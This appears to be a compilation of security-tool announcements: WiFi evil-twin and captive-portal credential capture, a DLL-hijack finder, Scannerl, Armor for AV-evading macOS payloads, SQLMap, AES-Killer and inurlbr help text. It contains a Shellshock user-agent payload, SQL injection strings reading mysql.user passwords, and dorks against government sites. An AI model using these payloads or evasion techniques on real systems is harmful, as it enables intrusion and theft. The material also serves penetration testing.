[+] Captive Portal - Web Based Login Portal to Capture User Entered Credentials (Runs as an OPEN Network)
[+] Certificate Generator - Generates a Certificate Used by Evil Twin Attacks
[+] Exporter - Exports Data Stored in a Workspace to a CSV File
[+] Evil Twin - Creates a Fake Access Point, Clients Connect to Divulging MSCHAP Hashes or Cleartext Passwords
[+] Handshaker - Parses Database or .pcapdump Files Extracting the Pre-Shared Handshake for Password Guessing (Hashcat or JTR Format)
[+] Mac Changer - Changes The Mac Address of an Interface
[+] Probe Packet - Sends Out Deauth Packets Targeting SSID(s)
[+] Proof Packet - Parses Database or .pcapdump Files Extracting all Packets Related to the Inscope SSDIS
[+] Hidden SSID - Discovers the Names of HIDDEN SSIDS
[+] Suspicious AP - Looks for Access Points that: Is On Different Channel, use a Different Vendor or Encrpytion Type Then the Rest of The Network
[+] Wigle Search SSID - Queries wigle for SSID (i.e. Bob's wifi)
[+] Wigle Search MAC - Queries wigle for all observations of a single mac address
>> [demo]#
>> [demo]# use Captive Portal
>> [demo][Captive Portal]# info
Globally Set Varibles
=====================
Module: Captive Portal
Interface:
SSID:
Channel:
Template: Cisco (More to be added soon)
>> [demo][Captive Portal]# set Interface wlan0
>> [demo][Captive Portal]# set SSID demo
>> [demo][Captive Portal]# set Channel 1
>> [demo][Captive Portal]# info
Globally Set Varibles
=====================
Module: Captive Portal
Interface: wlan0
SSID: demo
Channel: 1
Template: Cisco (More to be added soon)
>> [demo][Captive Portal]#
Once all varibles are set, then execute the exploit or run command to run the desired attack.

Export
To export all information stored in a workspace’s tables using the Exporter module and setting the desired path.

Acknowledgments
Sniffiar contains work from the following repoisoties:


Parrot Security 4.3 - Security GNU/Linux Distribution Designed with Cloud Pentesting and IoT Security in Mind

$
0
0


Parrot 4.3 is now available for download. This release provides security and stability updates and is the starting point for the plan to develop an LTS edition of Parrot.

Linux 4.18

Linux was updated to the 4.18.10 version, and linux 4.19 will be released soon.

Firefox 63

Firefox 63 provides noticeable security and privacy features, but it is no longer available to 32bit systems, so has been switched to firefox-esr on all the unsupported architectures.

Wine menu


Has been fixed a bug in the parrot menu configuration that prevented several menu categories to show up.
This fixed the missing wine menu bug, which is now back again.


Bashrc updates

The Parrot .bashrc file was updated, now it provides better snap support, the ll alias now shows the size in a human readable format and it does no longer overwrite some global settings as it used to do before.

Java 11

OpenJDK 11 is now the default java provider.

Anonsurf

Anonsurf received important stability upgrades and now it does not mess up the DNS configuration.

New Parrot icons


The Parrot edition of the MAIA icon theme was updated.
Has been dropped many old unused icons and replaced them with newer ones.


Core updates


Parrot 4.3 provides the latest updates of Debian Testing and many improvements to our sandbox system, in fact, both firejail and apparmor received significant updates, and now the whole system is smoother, more secure and more reliable.


Robber - Robber Is Open Source Tool For Finding Executables Prone To DLL Hijacking

$
0
0

Robber is a free open source tool developed using Delphi XE2 without any 3rd party dependencies.
What is DLL hijacking ?!
Windows has a search path for DLLs in its underlying architecture. If you can figure out what DLLs an executable requests without an absolute path (triggering this search process), you can then place your hostile DLL somewhere higher up the search path so it'll be found before the real version is, and Windows will happilly feed your attack code to the application.

So, let's pretend Windows's DLL search path looks something like this:
A) . <-- current working directory of the executable, highest priority, first check
B) \Windows
C) \Windows\system32
D) \Windows\syswow64 <-- lowest priority, last check
and some executable "Foo.exe" requests "bar.dll", which happens to live in the syswow64 (D) subdir. This gives you the opportunity to place your malicious version in A), B) or C) and it will be loaded into executable.
As stated before, even an absolute full path can't protect against this, if you can replace the DLL with your own version.
Microsoft Windows protect system pathes like System32 using Windows File Protection mechanism but the best way to protect executable from DLL hijacking in entrprise solutions is :
  • Use absolute path instead of relative path
  • If you have personal sign, sign your DLL files and check the sign in your application before load DLL into memory. otherwise check the hash of DLL file with original DLL hash)
And of course, this isn't really limited to Windows either. Any OS which allows for dynamic linking of external libraries is theoretically vulnerable to this.
Robber use simple mechanism to figure out DLLs that prone to hijacking :
  1. Scan import table of executable and find out DLLs that linked to executable
  2. Search for DLL files placed inside executable that match with linked DLL (as i said before current working directory of the executable has highest priority)
  3. If any DLL found, scan the export table of theme
  4. Compare import table of executable with export table of DLL and if any matching was found, the executable and matched common functions flag as DLL hijack candidate.
Feauters :
  • Ability to select scan type (signed/unsigned applications)
  • Determine executable signer
  • Determine wich referenced DLLs candidate for hijacking
  • Determine exported method names of candidate DLLs
  • Configure rules to determine which hijacks is best or good choice for use and show theme in different colors
Find out latest Robber executable here

Scannerl - The Modular Distributed Fingerprinting Engine

$
0
0

Scannerl is a modular distributedfingerprinting engine implemented by Kudelski Security. Scannerl can fingerprint thousands of targets on a single host, but can just as easily be distributed across multiple hosts. Scannerl is to fingerprinting what zmap is to port scanning.
Scannerl works on Debian/Ubuntu/Arch (but will probably work on other distributions as well). It uses a master/slave architecture where the master node will distribute the work (host(s) to fingerprint) to its slaves (local or remote). The entire deployment is transparent to the user.

Why use Scannerl
When using conventional fingerprinting tools for large-scale analysis, security researchers will often hit two limitations: first, these tools are typically built for scanning comparatively few hosts at a time and are inappropriate for large ranges of IP addresses. Second, if large range of IP addresses protected by IPS devices are being fingerprinted, the probability of being blacklisted is higher what could lead to an incomplete set of information. Scannerl is designed to circumvent these limitations, not only by providing the ability to fingerprint multiple hosts simultaneously, but also by distributing the load across an arbitrary number of hosts. Scannerl also makes the distribution of these tasks completely transparent, which makes setup and maintenance of large-scale fingerprinting projects trivial; this allows to focus on the analyses rather than the herculean task of managing and distributing fingerprinting processes by hand. In addition to the speed factor, scannerl has been designed to allow to easily set up specific fingerprinting analyses in a few lines of code. Not only is the creation of a fingerprinting cluster easy to set up, but it can be tweaked by adding fine-tuned scans to your fingerprinting campaigns.
It is the fastest tool to perform large scale fingerprinting campaigns.
For more:

Installation
See the different installation options under wiki installation page
To install from source, first install Erlang (at least v.18) by choosing the right packaging for your platform: Erlang downloads
Install the required packages:
# on debian
$ sudo apt install erlang erlang-src rebar

# on arch
$ sudo pacman -S erlang-nox rebar
Then build scannerl:
$ git clone https://github.com/kudelskisecurity/scannerl.git
$ cd scannerl
$ ./build.sh
Get the usage by running
$ ./scannerl -h
Scannerl is available on aur for arch linux users
DEBs (Ubuntu, Debian) are available in the releases.
RPMs (Opensuse, Centos, Redhat) are available under https://build.opensuse.org/package/show/home:chapeaurouge/scannerl.

Distributed setup
Two types of nodes are needed to perform a distributed scan:
  • Master node: this is where scannerl's binary is run
  • Slave node(s): this is where scannerl will connect to distribute all its work
The master node needs to have scannerl installed and compiled while the slave node(s) only needs Erlang to be installed. The entire setup is transparent and done automatically by the master node.
Requirements for a distributed scan:
  • All hosts have the same version of Erlang installed
  • All hosts are able to connect to each other using SSH public key
  • All hosts' names resolve (use /etc/hosts if no proper DNS is setup)
  • All hosts have the same Erlang security cookie
  • All hosts must allow connection to Erlang EPMD port (TCP/4369)
  • All hosts have the following range of ports opened: TCP/11100 to TCP/11100 + number-of-slaves

Usage
$ ./scannerl -h
____ ____ _ _ _ _ _ _____ ____ _
/ ___| / ___| / \ | \ | | \ | | ____| _ \| |
\___ \| | / _ \ | \| | \| | _| | |_) | |
___) | |___ / ___ \| |\ | |\ | |___| _ <| |___
|____/ \____/_/ \_\_| \_|_| \_|_____|_| \_\_____|

USAGE
scannerl MODULE TARGETS [NODES] [OPTIONS]

MODULE:
-m <mod> --module <mod>
mod: the fingerprinting module to use.
arguments are separated with a colon.

TARGETS:
-f <target> --target <target>
target: a list of target separated by a comma.
-F <path> --target-file <path>
path: the path of the file containing one target per line.
-d <domain> --domain <domain>
domain: a list of domains separated by a comma.
-D <path> --domain-file <path>
path: the path of the file containing one domain per line.

NODES:
-s <node> --slave <node>
node: a list of node (hostnames not IPs) separated by a comma.
-S <path> --slave-file <path>
path: the path of the file containing one node per line.
a node can also be supplied with a multiplier (<node>*<nb>).

OPTIONS:
-o <mod> --output <mod> comma separated list of output module(s) to use.
-p <port> --port <port> the port to fingerprint.
-t <sec> --timeout <sec> the fingerprinting process timeout.
-T <sec> --stimeout <sec> slave connection timeout (default: 10).
-j <nb> --max-pkt <nb> max pkt to receive (int or "infinity").
-r <nb> --retry <nb> retry counter (default: 0).
-c <cidr> --prefix <cidr> sub-divide range with prefix > cidr (default: 24).
-M <port> --message <port> port to listen for message (default: 57005).
-P <nb> --process <nb> max simultaneous process per node (default: 28232).
-Q <nb> --queue <nb> max nb unprocessed results in queue (default: infinity).
-C <path> --config <path> read arguments from file, one per line.
-O <mode> --outmode <mode> 0: on Master, 1: on slave, >1: on broker (default: 0).
-v <val> --verbose <val> be verbose (0 <= int <= 255).
-K <opt> --socket <opt> comma separated socket option (key[:value]).
-l --list-modules list available fp/out modules.
-V --list-debug list available debug options.
-A --print-args Output the args record.
-X --priv-ports use only source port between 1 and 1024.
-N --nosafe keep going even if some slaves fail to start.
-w --www DNS will try for www.<domain>.
-b --progress show progress.
-x --dryrun dry run.
See the wiki for more.

Standalone usage
Scannerl can be used on the local host without any other host. However, it will still create a slave node on the same host it is run from. Therefore, the requirements described in Distributed setup must also be met.
A quick way to do this is to make sure your host is able to resolve itself with
grep -q "127.0.1.1\s*`hostname`" /etc/hosts || echo "127.0.1.1 `hostname`" | sudo tee -a /etc/hosts
and create an SSH key (if not yet present) and add it to the authorized_keys (you need an SSH server running):
cat $HOME/.ssh/id_rsa.pub >> $HOME/.ssh/authorized_keys
The following example runs an HTTP banner grabing on google.com from localhost
./scannerl -m httpbg -d google.com

Distributed usage
In order to perform a distributed scan, one need to pre-setup the hosts that will be used by scannerl to distribute the work. See Distributed setup for more information.
Scannerl expects a list of slaves to use (provided by the -s or -S switches).
./scannerl -m httpbg -d google.com -s host1,host2,host3

List available modules
Scannerl will list the available modules (output modules as well as fingerprinting modules) with the -l switch:
$ ./scannerl -l

Fingerprinting modules available
================================

bacnet UDP/47808: Bacnet identification
chargen UDP/19: Chargen amplification factor identification
fox TCP/1911: FOX identification
httpbg TCP/80: HTTP Server header identification
- Arg1: [true|false] follow redirection [Default:false]
httpsbg SSL/443: HTTPS Server header identification
https_certif SSL/443: HTTPS certificate graber
imap_certif TCP/143: IMAP STARTTLS certificate graber
modbus TCP/502: Modbus identification
mqtt TCP/1883: MQTT identification
mqtts TCP/8883: MQTT over SSL identification
mysql_greeting TCP/3306: Mysql version identification
pop3_certif TCP/110: POP3 STARTTLS certificate graber
smtp_certif TCP/25: SMTP STARTTLS certificate graber
ssh_host_key TCP/22: SSH host key graber

Output modules available
========================

csv output to csv
- Arg1: [true|false] save everything [Default:true]
csvfile output to csv file
- Arg1: [true|false] save everything [Default:false]
- Arg2: File path
file output to file
- Arg1: File path
file_ip output to stdout (only ip)
- Arg1: File path
file_mini output to file (only ip and result)
- Arg1: File path
file_resultonly output to file (only result)
- Arg1: File path
stdout output to stdout
stdout_ip output to stdout (only IP)
stdout_mini output to stdout (only ip and result)

Modules arguments
Arguments can be provided to modules with a colon. For example for the file output module:
./scannerl -m httpbg -d google.com -o file:/tmp/result

Result format
The result returned by scannerl to the output modules has the following form:
{module, target, port, result}
Where
  • module: the module used (Erlang atom)
  • target: IP or hostname (string or IPv4 address)
  • port: the port (integer)
  • result: see below
The result part is of the form:
{{status, type},Value}
Where {status, type} is one of the following tuples:
  • {ok, result}: fingerprinting the target succeeded
  • {error, up}: fingerprinting didn't succeed but the target responded
  • {error, unknown}: fingerprinting failed
Value is the returned value - it is either an atom or a list of element

Extending Scannerl
Scannerl has been designed and implemented with modularity in mind. It is easy to add new modules to it:
  • Fingerprinting module: to query a specific protocol or service. As an example, the fp_httpbg.erl module allows to retrieve the server entry in the HTTP response.
  • Output module: to output to a specific database/filesystem or output the result in a specific format. For example, the out_file.erl and out_stdout.erl modules allow respectively to output to a file or to stdout (default behavior if not specified).
To create new modules, simply follow the behavior (fp_module.erl for fingerprinting modules and out_behavior.erl for output module) and implement your modules.
New modules can either be added at compile time or dynamically as an external file.
See the wiki page for more.


Armor - Tool Designed To Create Encrypted macOS Payloads Capable Of Evading Antivirus Scanners

$
0
0

Armor is a simple Bash script designed to create encrypted macOS payloads capable of evading antivirus scanners. Below is an example gif of Armor being used with a simple Netcat payload.

A Netcat listener is started on port 4444. The "payload.txt" file is read and shown to contain a simple Bash one-liner that, when executed, will create a TCP connection between the target MacBook at the attacker's Netcat listener. Armor is used to encrypt the bash one-liner. Ncat is used to host the decryption key on the attacker's server. When the stager is executed in the target MacBook (not shown in the gif), the bash one-liner is decrypted and executed without writing any data to the harddrive. Ncat immediately terminates the listener after the key has been used. When the Netcat connection is established, the attacker has remote access to the target MacBook.
Admittedly, encrypting most macOS-specific payloads is overkill. This specific bash one-liner is capable of bypassing antivirus without the help of Armor. But this is just an exmaple. The same degree of obfuscation can be applied to sophisticated Python, Ruby, and Shell scripts designed to execute a variety of advanced attacks.

Installation
Armor relies on LibreSSL to encrypt the input file and create the SSL certificate. If LibreSSL isn't found in your system, Armor will attempt to install it. The function for this can be found in the armor.sh file. Ncat is also a dependency and can be installed in Kali using $ apt-get update && apt-get install nmap.
Armor can be cloned and executed using the below commands.
git clone https://github.com/tokyoneon/Armor
cd Armor/
chmod +x armor.sh
./armor.sh /path/to/payload.txt 1.2.3.4 443
The 1.2.3.4 address is the attacker's IP address where the decryption key will be hosted. This can be a local IP address or VPS. The port number (443), is arbitrary and can be changed as needed.
Questions and concerns:



SQLMap v1.2.11 - Automatic SQL Injection And Database Takeover Tool

$
0
0

SQLMap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Features
  • Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.
  • Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
  • Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
  • Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
  • Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
  • Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
  • Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
  • Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
  • Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command.

Installation
You can download the latest tarball by clicking here or latest zipball by clicking here.
Preferably, you can download sqlmap by cloning the Git repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with Python version 2.6.x and 2.7.x on any platform.

Usage
To get a list of basic options and switches use:
python sqlmap.py -h
To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run here. To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the user's manual.

Demo

Links

Translations


AES-Killer v3.0 - Burp Plugin To Decrypt AES Encrypted Traffic Of Mobile Apps On The Fly

$
0
0

Burpsuite Plugin to decrypt AES Encrypted traffic on the fly.


Requirements
  • Burpsuite
  • Java

Tested on
  • Burpsuite 1.7.36
  • Windows 10
  • xubuntu 18.04
  • Kali Linux 2018

What it does
  • The IProxyListener decrypt requests and encrypt responses, and an IHttpListener than encrypt requests and decrypt responses.
  • Burp sees the decrypted traffic, including Repeater, Intruder and Scanner, but the client/mobile app and server see the encrypted version.
NOTE: Currently support AES/CBC/PKCS5Padding encryption/decryption.

How it works
  • Require AES Encryption Key (Can be obtained by using frida script or reversing mobile app)
  • Require AES Encryption Initialize Vector (Can be obtained by using frida script or reversing mobile app)
  • Request Parameter (Leave blank in case of whole request body)
  • Response Parameter (Leave blank in case of whole response body)
  • Character Separated with space for obfuscation on request/response (In case of Offuscation)
  • URL/Host of target to decrypt/encrypt request and response

How to Install
Download jar file from Release and add in burpsuite



Original Request/Response


Getting AES Encryption Key and IV
  • First setup frida server on IOS and Android device.
  • Launch Application on mobile device.
  • Run this frida script on your host machine to get AES Encryption Key and IV.

Decrypt Request/Response
  • Provide SecretSpecKey under Secret Key field
  • Procide IV under Initialize Vector field
  • Provide Host/URL to filter request and response for encryption and decryption
  • Press Start AES Killer



Docker-Inurlbr - Advanced Search In Search Engines, Enables Analysis Provided To Exploit GET / POST Capturing Emails & Urls

$
0
0

Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.

How to build
git clone https://github.com/gmdutra/docker-inurlbr.git
cd docker-inurlbr
docker build -t gmdutra/inurlbr .

Run
docker run --name inurlbr -it -d gmdutra/inurlbr
  • HELP:

-h
--help Alternative long length help command.
--ajuda Command to specify Help.
--info Information script.
--update Code update.
-q Choose which search engine you want through [1...24] / [e1..6]]:
[options]:
1 - GOOGLE / (CSE) GENERIC RANDOM / API
2 - BING
3 - YAHOO BR
4 - ASK
5 - HAO123 BR
6 - GOOGLE (API)
7 - LYCOS
8 - UOL BR
9 - YAHOO US
10 - SAPO
11 - DMOZ
12 - GIGABLAST
13 - NEVER
14 - BAIDU BR
15 - YANDEX
16 - ZOO
17 - HOTBOT
18 - ZHONGSOU
19 - HKSEARCH
20 - EZILION
21 - SOGOU
22 - DUCK DUCK GO
23 - BOOROW
24 - GOOGLE(CSE) GENERIC RANDOM
----------------------------------------
SPECIAL MOTORS
----------------------------------------
e1 - TOR FIND
e2 - ELEPHANT
e3 - TORSEARCH
e4 - WIKILEAKS
e5 - OTN
e6 - EXPLOITS SHODAN
----------------------------------------
all - All search engines / not special motors
Default: 1
Example: -q {op}
Usage: -q 1
-q 5
Using more than one engine: -q 1,2,5,6,11,24
Using all engines: -q all

--proxy Choose which proxy you want to use through the search engine:
Example: --proxy {proxy:port}
Usage: --proxy localhost:8118
--proxy socks5://googleinurl@localhost:9050
--proxy http://admin:12334@172.16.0.90:8080

--proxy-file Set font file to randomize your proxy to each search engine.
Example: --proxy-file {proxys}
Usage: --proxy-file proxys_list.txt

--time-proxy Set the time how often the proxy will be exchanged.
Example: --time-proxy {second}
Usage: --time-proxy 10

--proxy-http-file Set file with urls http proxy,
are used to bular capch search engines
Example: --proxy-http-file {youfilehttp}
Usage: --proxy-http-file http_proxys.txt


--tor-random Enables the TOR function, each usage links an unique IP.

-t Choose the validation type: op 1, 2, 3, 4, 5
[options]:
1 - The first type uses default errors considering the script:
It establishes connection with the exploit through the get method.
Demo: www.alvo.com.br/pasta/index.php?id={exploit}

2 - The second type tries to valid the error defined by: -a='VALUE_INSIDE_THE _TARGET'
It also establishes connection with the exploit through the get method
Demo: www.alvo.com.br/pasta/index.php?id={exploit}

3 - The third type combine both first and second types:
Then, of course, it also establishes connection with the exploit through the get method
Demo: www.target.com.br{exploit}
Default: 1
Example: -t {op}
Usage: -t 1

4 - The fourth type a validation based on source file and will be enabled scanner standard functions.
The source file their values are concatenated with target url.
- Set your target with command --target {http://target}
- Set your file with command -o {file}
Explicative:
Source file values:
/admin/index.php?id=
/pag/index.php?id=
/brazil.php?new=
Demo:
www.target.com.br/admin/index.php?id={exploit}
www.target.com.br/pag/index.php?id={exploit}
www.target.com.br/brazil.php?new={exploit}

5 - (FIND PAGE) The fifth type of validation based on the source file,
Will be enabled only one validation code 200 on the target server, or if the url submit such code will be considered vulnerable.
- Set your target with command --target {http://target}
- Set your file with command -o {file}
Explicative:
Source file values:
/admin/admin.php
/admin.asp
/admin.aspx
Demo:
www.target.com.br/admin/admin.php
www.target.com.br/admin.asp
www.target.com.br/admin.aspx
Observation: If it shows the code 200 will be separated in the output file

DEFAULT ERRORS:

[*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK,
[*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT,
[*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP,
[*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP,
[*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA,
[*]ERROR INDEFINITE


--dork Defines which dork the search engine will use.
Example: --dork {dork}
Usage: --dork 'site:.gov.br inurl:php? id'
- Using multiples dorks:
Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3}
Usage: --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'

--dork-file Set font file with your search dorks.
Example: --dork-file {dork_file}
Usage: --dork-file 'dorks.txt'

--exploit-get Defines which exploit will be injected through the GET method to each URL found.
Example: --exploit-get {exploit_get}
Usage: --exploit-get "?'´%270x27;"

--exploit-post Defines which exploit will be injected through the POST method to each URL found.
Example: --exploit-post {exploit_post}
Usage: --exploit-post 'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'

--exploit-command Defines which exploit/parameter will be executed in the options: --command-vul/ --command-all.
The exploit-command will be identified by the paramaters: --command-vul/ --command-all as _EXPLOIT_
Ex --exploit-command '/admin/config.conf' --command-all 'curl -v _TARGET__EXPLOIT_'
_TARGET_ is the specified URL/TARGET obtained by the process
_EXPLOIT_ is the exploit/parameter defined by the option --exploit-command.
Example: --exploit-command {exploit-command}
Usage: --exploit-command '/admin/config.conf'

-a Specify the string that will be used on the search script:
Example: -a {string}
Usage: -a '<title>hello world</title>'

-d Specify the script usage op 1, 2, 3, 4, 5.
Example: -d {op}
Usage: -d 1 /URL of the search engine.
-d 2 /Show all the url.
-d 3 /Detailed request of every URL.
-d 4 /Shows the HTML of every URL.
-d 5 /Detailed request of all URLs.
-d 6 /Detailed PING - PONG irc.

-s Specify the output file where it will be saved the vulnerable URLs.

Example: -s {file}
Usage: -s your_file.txt

-o Manually manage the vulnerable URLs you want to use from a file, without using a search engine.
Example: -o {file_where_my_urls_are}
Usage: -o tests.txt

--persist Attempts when Google blocks your search.
The script tries to another google host / default = 4
Example: --persist {number_attempts}
Usage: --persist 7

--ifredirect Return validation method post REDIRECT_URL
Example: --ifredirect {string_validation}
Usage: --ifredirect '/admin/painel.php'

-m Enable the search for emails on the urls specified.

-u Enables the search for URL lists on the url specified.

--gc Enable validation of values ​​with google webcache.

--pr Progressive scan, used to set operators (dorks),
makes the search of a dork and valid results, then goes a dork at a time.

--file-cookie Open cookie file.

--save-as Save results in a certain place.

--shellshock Explore shellshockvulnerability by setting a malicious user-agent.

--popup Run --command all or vuln in a parallel terminal.

--cms-check Enable simple check if the url / target is using CMS.

--no-banner Remove the script presentation banner.

--unique Filter results in unique domains.

--beep Beep sound when a vulnerability is found.

--alexa-rank Show alexa positioning in the results.

--robots Show values file robots.

--range Set range IP.
Example: --range {range_start,rage_end}
Usage: --range '172.16.0.5#172.16.0.255'

--range-rand Set amount of random ips.
Example: --range-rand {rand}
Usage: --range-rand '50'

--irc Sending vulnerable to IRC / server channel.
Example: --irc {server#channel}
Usage: --irc 'irc.rizon.net#inurlbrasil'

--http-header Set HTTP header.
Example: --http-header {youemail}
Usage: --http-header 'HTTP/1.1 401 Unauthorized,WWW-Authenticate: Basic realm="Top Secret"'

--sedmail Sending vulnerable to email.
Example: --sedmail {youemail}
Usage: --sedmail youemail@inurl.com.br

--delay Delay between research processes.
Example: --delay {second}
Usage: --delay 10

--time-out Timeout to exit the process.
Example: --time-out {second}
Usage: --time-out 10

--ifurl Filter URLs based on their argument.
Example: --ifurl {ifurl}
Usage: --ifurl index.php?id=

--ifcode Valid results based on your return http code.
Example: --ifcode {ifcode}
Usage: --ifcode 200

--ifemail Filter E-mails based on their argument.
Example: --ifemail {file_where_my_emails_are}
Usage: --ifemail sp.gov.br

--url-reference Define referring URL in the request to send him against the target.
Example: --url-reference {url}
Usage: --url-reference http://target.com/admin/user/valid.php

--mp Limits the number of pages in the search engines.
Example: --mp {limit}
Usage: --mp 50

--user-agent Define the user agent used in its request against the target.
Example: --user-agent {agent}
Usage: --user-agent 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11'
Usage-exploit / SHELLSHOCK:
--user-agent '() { foo;};echo; /bin/bash -c "expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;"'
Complete command:
php inurlbr.php --dork '_YOU_DORK_' -s shellshock.txt --user-agent '_YOU_AGENT_XPL_SHELLSHOCK' -t 2 -a '99887766555'

--sall Saves all urls found by the scanner.
Example: --sall {file}
Usage: --sall your_file.txt

--command-vul Every vulnerable URL found will execute this command parameters.
Example: --command-vul {command}
Usage: --command-vul 'nmap sV -p 22,80,21 _TARGET_'
--command-vul './exploit.sh _TARGET_ output.txt'
--command-vul 'php miniexploit.php -t _TARGET_ -s output.txt'

--command-all Use this commmand to specify a single command to EVERY URL found.
Example: --command-all {command}
Usage: --command-all 'nmap sV -p 22,80,21 _TARGET_'
--command-all './exploit.sh _TARGET_ output.txt'
--command-all 'php miniexploit.php -t _TARGET_ -s output.txt'
[!] Observation:

_TARGET_ will be replaced by the URL/target found, although if the user
doesn't input the get, only the domain will be executed.

_TARGETFULL_ will be replaced by the original URL / target found.

_TARGETXPL_ will be replaced by the original URL / target found + EXPLOIT --exploit-get.

_TARGETIP_ return of ip URL / target found.

_URI_ Back URL set of folders / target found.

_RANDOM_ Random strings.

_PORT_ Capture port of the current test, within the --port-scan process.

_EXPLOIT_ will be replaced by the specified command argument --exploit-command.
The exploit-command will be identified by the parameters --command-vul/ --command-all as _EXPLOIT_

--replace Replace values ​​in the target URL.
Example: --replace {value_old[INURL]value_new}
Usage: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user,Password+from+mysql.user+limit+0,1)=1'
--replace 'main.php?id=[INURL]main.php?id=1+and+substring(@@version,1,1)=1'
--replace 'index.aspx?id=[INURL]index.aspx?id=1%27´'

--remove Remove values ​​in the target URL.
Example: --remove {string}
Usage: --remove '/admin.php?id=0'

--regexp Using regular expression to validate his research, the value of the
Expression will be sought within the target/URL.
Example: --regexp {regular_expression}
All Major Credit Cards:
Usage: --regexp '(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})'

IP Addresses:
Usage: --regexp '((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))'

EMAIL:
Usage: --regexp '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'


---regexp-filter Using regular expression to filter his research, the value of the
Expression will be sought within the target/URL.
Example: ---regexp-filter {regular_expression}
EMAIL:
Usage: ---regexp-filter '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'


[!] Small commands manager:

--exploit-cad Command register for use within the scanner.
Format {TYPE_EXPLOIT}::{EXPLOIT_COMMAND}
Example Format: NMAP::nmap -sV _TARGET_
Example Format: EXPLOIT1::php xpl.php -t _TARGET_ -s output.txt
Usage: --exploit-cad 'NMAP::nmap -sV _TARGET_'
Observation: Each registered command is identified by an id of your array.
Commands are logged in exploits.conf file.

--exploit-all-id Execute commands, exploits based on id of use,
(all) is run for each target found by the engine.
Example: --exploit-all-id {id,id}
Usage: --exploit-all-id 1,2,8,22

--exploit-vul-id Execute commands, exploits based on id of use,
(vull) run command only if the target was considered vulnerable.
Example: --exploit-vul-id {id,id}
Usage: --exploit-vul-id 1,2,8,22

--exploit-list List all entries command in exploits.conf file.


[!] Running subprocesses:

--sub-file Subprocess performs an injection
strings in URLs found by the engine, via GET or POST.
Example: --sub-file {youfile}
Usage: --sub-file exploits_get.txt

--sub-get defines whether the strings coming from
--sub-file will be injected via GET.
Usage: --sub-get

--sub-post defines whether the strings coming from
--sub-file will be injected via POST.
Usage: --sub-get


--sub-cmd-vul Each vulnerable URL found within the sub-process
will execute the parameters of this command.
Example: --sub-cmd-vul {command}
Usage: --sub-cmd-vul 'nmap sV -p 22,80,21 _TARGET_'
--sub-cmd-vul './exploit.sh _TARGET_ output.txt'
--sub-cmd-vul 'php miniexploit.php -t _TARGET_ -s output.txt'

--sub-cmd-all Run command to each target found within the sub-process scope.
Example: --sub-cmd-all {command}
Usage: --sub-cmd-all 'nmap sV -p 22,80,21 _TARGET_'
--sub-cmd-all './exploit.sh _TARGET_ output.txt'
--sub-cmd-all 'php miniexploit.php -t _TARGET_ -s output.txt'


--port-scan Defines ports that will be validated as open.
Example: --port-scan {ports}
Usage: --port-scan '22,21,23,3306'

--port-cmd Define command that runs when finding an open door.
Example: --port-cmd {command}
Usage: --port-cmd './xpl _TARGETIP_:_PORT_'
--port-cmd './xpl _TARGETIP_/file.php?sqli=1'

--port-write Send values for door.
Example: --port-write {'value0','value1','value3'}
Usage: --port-write "'NICK nk_test','USER nk_test 8 * :_ola','JOIN #inurlbrasil','PRIVMSG #inurlbrasil : minha_msg'"



[!] Modifying values used within script parameters:

md5 Encrypt values in md5.
Example: md5({value})
Usage: md5(102030)
Usage: --exploit-get 'user?id=md5(102030)'

base64 Encrypt values in base64.
Example: base64({value})
Usage: base64(102030)
Usage: --exploit-get 'user?id=base64(102030)'

hex Encrypt values in hex.
Example: hex({value})
Usage: hex(102030)
Usage: --exploit-get 'user?id=hex(102030)'

Generate random values.
Example: random({character_counter})
Usage: random(8)
Usage: --exploit-get 'user?id=random(8)'

Simple Commands
